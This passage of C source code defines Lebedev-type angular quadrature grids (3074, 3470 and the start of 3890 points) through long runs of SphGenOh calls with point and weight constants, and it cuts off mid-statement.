0.1738986811745028e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1533070348312393e+0; v = 0.2659616045280191e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2563902605244206e+0; v = 0.3240596008171533e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3629346991663361e+0; v = 0.3621195964432943e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4683949968987538e+0; v = 0.3868838330760539e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5694479240657952e+0; v = 0.4018911532693111e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6634465430993955e+0; v = 0.4089929432983252e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1033958573552305e+0; b = 0.3034544009063584e-1; v = 0.2279907527706409e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1473521412414395e+0; b = 0.6618803044247135e-1; v = 0.2715205490578897e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1924552158705967e+0; b = 0.1054431128987715e+0; v = 0.3057917896703976e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2381094362890328e+0; b = 0.1468263551238858e+0; v = 0.3326913052452555e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2838121707936760e+0; b = 0.1894486108187886e+0; v = 0.3537334711890037e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3291323133373415e+0; b = 0.2326374238761579e+0; v = 0.3700567500783129e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3736896978741460e+0; b = 0.2758485808485768e+0; v = 0.3825245372589122e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4171406040760013e+0; b = 0.3186179331996921e+0; v = 0.3918125171518296e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4591677985256915e+0; b = 0.3605329796303794e+0; v = 0.3984720419937579e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4994733831718418e+0; b = 0.4012147253586509e+0; v = 0.4029746003338211e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5377731830445096e+0; b = 0.4403050025570692e+0; v = 0.4057428632156627e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5737917830001331e+0; b = 0.4774565904277483e+0; v = 0.4071719274114857e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2027323586271389e+0; b = 0.3544122504976147e-1; v = 0.2990236950664119e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2516942375187273e+0; b = 0.7418304388646328e-1; v = 0.3262951734212878e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3000227995257181e+0; b = 0.1150502745727186e+0; v = 0.3482634608242413e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3474806691046342e+0; b = 0.1571963371209364e+0; v = 0.3656596681700892e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3938103180359209e+0; b = 0.1999631877247100e+0; v = 0.3791740467794218e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4387519590455703e+0; b = 0.2428073457846535e+0; v = 0.3894034450156905e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4820503960077787e+0; b = 0.2852575132906155e+0; v = 0.3968600245508371e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5234573778475101e+0; b = 0.3268884208674639e+0; v = 0.4019931351420050e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5627318647235282e+0; b = 0.3673033321675939e+0; v = 0.4052108801278599e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5996390607156954e+0; b = 0.4061211551830290e+0; v = 0.4068978613940934e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3084780753791947e+0; b = 0.3860125523100059e-1; v = 0.3454275351319704e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3589988275920223e+0; b = 0.7928938987104867e-1; v = 0.3629963537007920e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4078628415881973e+0; b = 0.1212614643030087e+0; v = 0.3770187233889873e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4549287258889735e+0; b = 0.1638770827382693e+0; v = 0.3878608613694378e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5000278512957279e+0; b = 0.2065965798260176e+0; v = 0.3959065270221274e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5429785044928199e+0; b = 0.2489436378852235e+0; v = 0.4015286975463570e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5835939850491711e+0; b = 0.2904811368946891e+0; v = 0.4050866785614717e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6216870353444856e+0; b = 0.3307941957666609e+0; v = 0.4069320185051913e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4151104662709091e+0; b = 0.4064829146052554e-1; v = 0.3760120964062763e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4649804275009218e+0; b = 0.8258424547294755e-1; v = 0.3870969564418064e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5124695757009662e+0; b = 0.1251841962027289e+0; v = 0.3955287790534055e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5574711100606224e+0; b = 0.1679107505976331e+0; v = 0.4015361911302668e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5998597333287227e+0; b = 0.2102805057358715e+0; v = 0.4053836986719548e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6395007148516600e+0; b = 0.2518418087774107e+0; v = 0.4073578673299117e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5188456224746252e+0; b = 0.4194321676077518e-1; v = 0.3954628379231406e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5664190707942778e+0; b = 0.8457661551921499e-1; v = 0.4017645508847530e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6110464353283153e+0; b = 0.1273652932519396e+0; v = 0.4059030348651293e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6526430302051563e+0; b = 0.1698173239076354e+0; v = 0.4080565809484880e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6167551880377548e+0; b = 0.4266398851548864e-1; v = 0.4063018753664651e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6607195418355383e+0; b = 0.8551925814238349e-1; v = 0.4087191292799671e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_3074(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.2599095953754734e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.3603134089687541e-3; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.3586067974412447e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.1886108518723392e-1; v = 0.9831528474385880e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4800217244625303e-1; v = 0.1605023107954450e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.8244922058397242e-1; v = 0.2072200131464099e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1200408362484023e+0; v = 0.2431297618814187e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1595773530809965e+0; v = 0.2711819064496707e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2002635973434064e+0; v = 0.2932762038321116e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2415127590139982e+0; v = 0.3107032514197368e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2828584158458477e+0; v = 0.3243808058921213e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3239091015338138e+0; v = 0.3349899091374030e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3643225097962194e+0; v = 0.3430580688505218e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4037897083691802e+0; v = 0.3490124109290343e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4420247515194127e+0; v = 0.3532148948561955e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4787572538464938e+0; v = 0.3559862669062833e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5137265251275234e+0; v = 0.3576224317551411e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5466764056654611e+0; v = 0.3584050533086076e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6054859420813535e+0; v = 0.3584903581373224e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6308106701764562e+0; v = 0.3582991879040586e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6530369230179584e+0; v = 0.3582371187963125e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6718609524611158e+0; v = 0.3584353631122350e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6869676499894013e+0; v = 0.3589120166517785e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6980467077240748e+0; v = 0.3595445704531601e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7048241721250522e+0; v = 0.3600943557111074e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5591105222058232e-1; v = 0.1456447096742039e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1407384078513916e+0; v = 0.2252370188283782e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2364035438976309e+0; v = 0.2766135443474897e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3360602737818170e+0; v = 0.3110729491500851e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4356292630054665e+0; v = 0.3342506712303391e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5321569415256174e+0; v = 0.3491981834026860e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6232956305040554e+0; v = 0.3576003604348932e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.9469870086838469e-1; b = 0.2778748387309470e-1; v = 0.1921921305788564e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1353170300568141e+0; b = 0.6076569878628364e-1; v = 0.2301458216495632e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1771679481726077e+0; b = 0.9703072762711040e-1; v = 0.2604248549522893e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2197066664231751e+0; b = 0.1354112458524762e+0; v = 0.2845275425870697e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2624783557374927e+0; b = 0.1750996479744100e+0; v = 0.3036870897974840e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3050969521214442e+0; b = 0.2154896907449802e+0; v = 0.3188414832298066e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3472252637196021e+0; b = 0.2560954625740152e+0; v = 0.3307046414722089e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3885610219026360e+0; b = 0.2965070050624096e+0; v = 0.3398330969031360e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4288273776062765e+0; b = 0.3363641488734497e+0; v = 0.3466757899705373e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4677662471302948e+0; b = 0.3753400029836788e+0; v = 0.3516095923230054e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5051333589553359e+0; b = 0.4131297522144286e+0; v = 0.3549645184048486e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5406942145810492e+0; b = 0.4494423776081795e+0; v = 0.3570415969441392e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5742204122576457e+0; b = 0.4839938958841502e+0; v = 0.3581251798496118e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1865407027225188e+0; b = 0.3259144851070796e-1; v = 0.2543491329913348e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2321186453689432e+0; b = 0.6835679505297343e-1; v = 0.2786711051330776e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2773159142523882e+0; b = 0.1062284864451989e+0; v = 0.2985552361083679e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3219200192237254e+0; b = 0.1454404409323047e+0; v = 0.3145867929154039e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3657032593944029e+0; b = 0.1854018282582510e+0; v = 0.3273290662067609e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4084376778363622e+0; b = 0.2256297412014750e+0; v = 0.3372705511943501e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4499004945751427e+0; b = 0.2657104425000896e+0; v = 0.3448274437851510e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4898758141326335e+0; b = 0.3052755487631557e+0; v = 0.3503592783048583e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5281547442266309e+0; b = 0.3439863920645423e+0; v = 0.3541854792663162e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5645346989813992e+0; b = 0.3815229456121914e+0; v = 0.3565995517909428e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5988181252159848e+0; b = 0.4175752420966734e+0; v = 0.3578802078302898e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2850425424471603e+0; b = 0.3562149509862536e-1; v = 0.2958644592860982e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3324619433027876e+0; b = 0.7330318886871096e-1; v = 0.3119548129116835e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3785848333076282e+0; b = 0.1123226296008472e+0; v = 0.3250745225005984e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4232891028562115e+0; b = 0.1521084193337708e+0; v = 0.3355153415935208e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4664287050829722e+0; b = 0.1921844459223610e+0; v = 0.3435847568549328e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5078458493735726e+0; b = 0.2321360989678303e+0; v = 0.3495786831622488e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5473779816204180e+0; b = 0.2715886486360520e+0; v = 0.3537767805534621e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5848617133811376e+0; b = 0.3101924707571355e+0; v = 0.3564459815421428e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6201348281584888e+0; b = 0.3476121052890973e+0; v = 0.3578464061225468e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3852191185387871e+0; b = 0.3763224880035108e-1; v = 0.3239748762836212e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4325025061073423e+0; b = 0.7659581935637135e-1; v = 0.3345491784174287e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4778486229734490e+0; b = 0.1163381306083900e+0; v = 0.3429126177301782e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5211663693009000e+0; b = 0.1563890598752899e+0; v = 0.3492420343097421e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5623469504853703e+0; b = 0.1963320810149200e+0; v = 0.3537399050235257e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6012718188659246e+0; b = 0.2357847407258738e+0; v = 0.3566209152659172e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6378179206390117e+0; b = 0.2743846121244060e+0; v = 0.3581084321919782e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4836936460214534e+0; b = 0.3895902610739024e-1; v = 0.3426522117591512e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5293792562683797e+0; b = 0.7871246819312640e-1; v = 0.3491848770121379e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5726281253100033e+0; b = 0.1187963808202981e+0; v = 0.3539318235231476e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6133658776169068e+0; b = 0.1587914708061787e+0; v = 0.3570231438458694e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6515085491865307e+0; b = 0.1983058575227646e+0; v = 0.3586207335051714e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5778692716064976e+0; b = 0.3977209689791542e-1; v = 0.3541196205164025e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6207904288086192e+0; b = 0.7990157592981152e-1; v = 0.3574296911573953e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6608688171046802e+0; b = 0.1199671308754309e+0; v = 0.3591993279818963e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6656263089489130e+0; b = 0.4015955957805969e-1; v = 0.3595855034661997e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_3470(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.2040382730826330e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.3178149703889544e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.1721420832906233e-1; v = 0.8288115128076110e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4408875374981770e-1; v = 0.1360883192522954e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7594680813878681e-1; v = 0.1766854454542662e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1108335359204799e+0; v = 0.2083153161230153e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1476517054388567e+0; v = 0.2333279544657158e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1856731870860615e+0; v = 0.2532809539930247e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2243634099428821e+0; v = 0.2692472184211158e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2633006881662727e+0; v = 0.2819949946811885e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3021340904916283e+0; v = 0.2920953593973030e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3405594048030089e+0; v = 0.2999889782948352e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3783044434007372e+0; v = 0.3060292120496902e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4151194767407910e+0; v = 0.3105109167522192e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4507705766443257e+0; v = 0.3136902387550312e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4850346056573187e+0; v = 0.3157984652454632e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5176950817792470e+0; v = 0.3170516518425422e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5485384240820989e+0; v = 0.3176568425633755e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6039117238943308e+0; v = 0.3177198411207062e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6279956655573113e+0; v = 0.3175519492394733e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6493636169568952e+0; v = 0.3174654952634756e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6677644117704504e+0; v = 0.3175676415467654e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6829368572115624e+0; v = 0.3178923417835410e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6946195818184121e+0; v = 0.3183788287531909e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7025711542057026e+0; v = 0.3188755151918807e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7066004767140119e+0; v = 0.3191916889313849e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5132537689946062e-1; v = 0.1231779611744508e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1297994661331225e+0; v = 0.1924661373839880e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2188852049401307e+0; v = 0.2380881867403424e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3123174824903457e+0; v = 0.2693100663037885e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4064037620738195e+0; v = 0.2908673382834366e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4984958396944782e+0; v = 0.3053914619381535e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5864975046021365e+0; v = 0.3143916684147777e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6686711634580175e+0; v = 0.3187042244055363e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.8715738780835950e-1; b = 0.2557175233367578e-1; v = 0.1635219535869790e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1248383123134007e+0; b = 0.5604823383376681e-1; v = 0.1968109917696070e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1638062693383378e+0; b = 0.8968568601900765e-1; v = 0.2236754342249974e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2035586203373176e+0; b = 0.1254086651976279e+0; v = 0.2453186687017181e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2436798975293774e+0; b = 0.1624780150162012e+0; v = 0.2627551791580541e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2838207507773806e+0; b = 0.2003422342683208e+0; v = 0.2767654860152220e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3236787502217692e+0; b = 0.2385628026255263e+0; v = 0.2879467027765895e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3629849554840691e+0; b = 0.2767731148783578e+0; v = 0.2967639918918702e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4014948081992087e+0; b = 0.3146542308245309e+0; v = 0.3035900684660351e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4389818379260225e+0; b = 0.3519196415895088e+0; v = 0.3087338237298308e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4752331143674377e+0; b = 0.3883050984023654e+0; v = 0.3124608838860167e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5100457318374018e+0; b = 0.4235613423908649e+0; v = 0.3150084294226743e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5432238388954868e+0; b = 0.4574484717196220e+0; v = 0.3165958398598402e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5745758685072442e+0; b = 0.4897311639255524e+0; v = 0.3174320440957372e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1723981437592809e+0; b = 0.3010630597881105e-1; v = 0.2182188909812599e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2149553257844597e+0; b = 0.6326031554204694e-1; v = 0.2399727933921445e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2573256081247422e+0; b = 0.9848566980258631e-1; v = 0.2579796133514652e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2993163751238106e+0; b = 0.1350835952384266e+0; v = 0.2727114052623535e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3407238005148000e+0; b = 0.1725184055442181e+0; v = 0.2846327656281355e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3813454978483264e+0; b = 0.2103559279730725e+0; v = 0.2941491102051334e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4209848104423343e+0; b = 0.2482278774554860e+0; v = 0.3016049492136107e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4594519699996300e+0; b = 0.2858099509982883e+0; v = 0.3072949726175648e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4965640166185930e+0; b = 0.3228075659915428e+0; v = 0.3114768142886460e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5321441655571562e+0; b = 0.3589459907204151e+0; v = 0.3143823673666223e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5660208438582166e+0; b = 0.3939630088864310e+0; v = 0.3162269764661535e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5980264315964364e+0; b = 0.4276029922949089e+0; v = 0.3172164663759821e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2644215852350733e+0; b = 0.3300939429072552e-1; v = 0.2554575398967435e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3090113743443063e+0; b = 0.6803887650078501e-1; v = 0.2701704069135677e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3525871079197808e+0; b = 0.1044326136206709e+0; v = 0.2823693413468940e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3950418005354029e+0; b = 0.1416751597517679e+0; v = 0.2922898463214289e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4362475663430163e+0; b = 0.1793408610504821e+0; v = 0.3001829062162428e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4760661812145854e+0; b = 0.2170630750175722e+0; v = 0.3062890864542953e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5143551042512103e+0; b = 0.2545145157815807e+0; v = 0.3108328279264746e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5509709026935597e+0; b = 0.2913940101706601e+0; v = 0.3140243146201245e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5857711030329428e+0; b = 0.3274169910910705e+0; v = 0.3160638030977130e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6186149917404392e+0; b = 0.3623081329317265e+0; v = 0.3171462882206275e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3586894569557064e+0; b = 0.3497354386450040e-1; v = 0.2812388416031796e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4035266610019441e+0; b = 0.7129736739757095e-1; v = 0.2912137500288045e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4467775312332510e+0; b = 0.1084758620193165e+0; v = 0.2993241256502206e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4883638346608543e+0; b = 0.1460915689241772e+0; v = 0.3057101738983822e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5281908348434601e+0; b = 0.1837790832369980e+0; v = 0.3105319326251432e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5661542687149311e+0; b = 0.2212075390874021e+0; v = 0.3139565514428167e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6021450102031452e+0; b = 0.2580682841160985e+0; v = 0.3161543006806366e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6360520783610050e+0; b = 0.2940656362094121e+0; v = 0.3172985960613294e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4521611065087196e+0; b = 0.3631055365867002e-1; v = 0.2989400336901431e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4959365651560963e+0; b = 0.7348318468484350e-1; v = 0.3054555883947677e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5376815804038283e+0; b = 0.1111087643812648e+0; v = 0.3104764960807702e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5773314480243768e+0; b = 0.1488226085145408e+0; v = 0.3141015825977616e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6148113245575056e+0; b = 0.1862892274135151e+0; v = 0.3164520621159896e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6500407462842380e+0; b = 0.2231909701714456e+0; v = 0.3176652305912204e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5425151448707213e+0; b = 0.3718201306118944e-1; v = 0.3105097161023939e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5841860556907931e+0; b = 0.7483616335067346e-1; v = 0.3143014117890550e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6234632186851500e+0; b = 0.1125990834266120e+0; v = 0.3168172866287200e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6602934551848843e+0; b = 0.1501303813157619e+0; v = 0.3181401865570968e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6278573968375105e+0; b = 0.3767559930245720e-1; v = 0.3170663659156037e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6665611711264577e+0; b = 0.7548443301360158e-1; v = 0.3185447944625510e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_3890(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1807395252196920e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.2848008782238827e-3; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.2836065837530581e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.1587876419858352e-1; v = 0.7013149266673816e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 